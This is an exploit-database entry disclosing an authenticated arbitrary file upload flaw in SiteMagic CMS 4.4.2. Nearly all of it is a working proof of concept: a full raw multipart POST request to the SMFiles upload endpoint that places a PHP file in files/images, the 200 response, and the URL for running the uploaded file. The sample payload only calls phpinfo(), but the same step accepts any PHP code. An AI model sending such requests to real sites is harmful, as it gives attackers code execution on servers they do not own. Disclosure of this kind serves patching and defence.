SiteMagic CMS 4.4.2 Shell Upload

`# Exploit Title: SiteMagic CMS 4.4.2 - Arbitrary File Upload (Authenticated)  
# Date: 2020-09-02  
# Exploit Author: v1n1v131r4  
# Vendor Homepage: https://sitemagic.org/  
# Software Link: https://sitemagic.org/Download.html  
# Version: 4.4.2  
# Tested on: Ubuntu 18.04  
# CVE : N/A  
# PoC: https://github.com/V1n1v131r4/Unrestricted-File-Upload-on-SiteMagic-CMS-4.4.2/blob/master/README.md  
  
  
Step 1 - Request  
  
POST /sitemagic/index.php?SMExt=SMFiles&SMTemplateType=Basic&SMExecMode=Dedicated&SMFilesUpload&SMFilesUploadPath=files%2Fimages HTTP/1.1  
Host: example.org  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: pt-BR,en-US;q=0.7,en;q=0.3  
Accept-Encoding: gzip, deflate  
Content-Type: multipart/form-data; boundary=---------------------------144837887339078243581158835832  
Content-Length: 538  
Origin: example.org  
DNT: 1  
Connection: close  
Referer: http://example.org/sitemagic/index.php?SMExt=SMFiles&SMTemplateType=Basic&SMExecMode=Dedicated&SMFilesUpload&SMFilesUploadPath=files%2Fimages  
Cookie: timezone=America/Argentina/Buenos_Aires; cookieconsent_status=dismiss; SMSESSION407f70d0a9400582=f93d614ad0046ec76e41f3613d97da59  
Upgrade-Insecure-Requests: 1  
  
-----------------------------144837887339078243581158835832  
Content-Disposition: form-data; name="SMInputSMFilesUpload"; filename="info.php"  
Content-Type: application/x-php  
  
<?php phpinfo(); ?>  
  
-----------------------------144837887339078243581158835832  
Content-Disposition: form-data; name="SMPostBackControl"  
  
  
-----------------------------144837887339078243581158835832  
Content-Disposition: form-data; name="SMRequestToken"  
  
f9f116f33c012ce5e67f52dffc7e6bc6  
-----------------------------144837887339078243581158835832--  
  
  
  
  
Step 2 - Response  
  
Status 200 OK  
Version HTTP/1.1  
Transferred 26,20 KB (25,80 KB size)  
Referrer Policy no-referrer-when-downgrade  
  
  
  
  
Step 3 - Read file uploaded  
  
http://example.org/sitemagic/files/images/info.php  
`